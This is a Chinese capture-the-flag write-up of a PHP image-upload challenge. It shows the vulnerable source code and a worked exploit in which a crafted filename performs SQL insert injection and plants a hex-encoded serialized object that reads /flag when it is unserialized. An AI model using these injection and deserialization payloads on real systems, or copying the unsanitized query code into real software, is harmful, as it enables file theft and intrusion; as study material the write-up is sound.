[安洵杯-不是文件上传]代码审计+文件上传+insert注入
首页是一个文件上传页面
测试只能上传图片，是白名单
题目给出了源码：
upload.php
<!DOCTYPE html>
<html>
<head>
<title>Image Upload</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
<form name="upload" action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="Submit" value="submit">
</form>
</div>
<br>
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>
<?php
include("./helper.php");
class upload extends helper
{
public function upload_base()
{
$this->upload();
}
}
if ($_FILES) {
if ($_FILES["file"]["error"]) {
die("Upload file failed.");
} else {
$file = new upload();
$file->upload_base();
}
}
$a = new helper();
?>
</body>
</html>
show.php
<!DOCTYPE html>
<html>
<head>
<title>Show Images</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();
class show{
public $con;
public function __construct(){
$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>
<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>
</body>
</html>
helper.php
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}
?>
这里的重点是helper.php
在upload()函数中，会将相关信息保存在$array数组中，注意到有一个地方被序列化了：$array["attr"] = serialize($my_ext); ，然后经过相关的检查会将$array数组插入到mysql数据库中去
我们分析一下：
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
如果$this->config=/flag，并且$this->ifview=true的话，当helper对象会序列化就会读取flag的内容，并且输出，这是利用点。但默认值读不了flag，怎么读？
我们需要构造一个特定值序列化后的串，然后经过unserialize()，当对象销毁就会输出flag
哪里有反序列化函数？在show.php的Get_All_Images():
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
这个函数会将传入的数组中的attr属性的值先替换一下然后反序列化，这个属性就是helper.php的$array['attr']经过序列化后的值，所以我们需要构造一下，将该值替换为恶意构造的序列化串
但是$array["attr"]默认的值是图片的宽高数组序列化后的值，没法控制输入
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
怎么才能将自己的序列化串插入呢？我们注意到insert_array()函数
public function insert_array($data)
{
...
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
...
return $id;
}
在这个函数中会执行sql语句，将输入插入到字符串，但是这里存在insert注入
我们查看check()函数：
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
这里的$title从$filename传入，并且没有经过任何过滤，所以可以从这里入手，构造成这种格式：
tit','fn','.png','path','O:{yy}'),('title.png
即：
insert into images (`title`,`filename`,`ext`,`path`,`attr`) values('tit','fn','.png','path','O:{yy}'),('title.png')
这个序列化串如何构造呢？
<?php
class helper
{
protected $folder = "pic/";
protected $ifview = true;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
# O:6:"helper":3:{s:9:" * folder";s:4:"pic/";s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}
但是这里不能直接传入，因为变量是protected类型经过序列化后会加上%00
我们注意到之前insert_array()经过了替换：
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
所以我们替换成：
O:6:"helper":3:{
s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
总的filename就是：
tit','fn','.png','path','O:6:"helper":3:{
s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}'),('title.png
但是传过去发现无效，因为文件名双引号"冲突了，我们可以将其转化为16进制：
O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
总的filename:
tit','fn','.png','path',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('title.png
访问一下show.php，就会反序列化，输出flag：
mysql特性
这里有些同学会有些疑惑，为什么我们插入到数据库中的是序列化串的16进制形式：
0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
为什么后面反序列化还能成功？
这是因为利用了mysql的特性
当mysql中插入一个16进制的值时会自动将其转化为字符串
如图成功转为字符串，所以我们插入16进制就会转为字符串插入到数据库，这样取出来就可以成功反序列化啦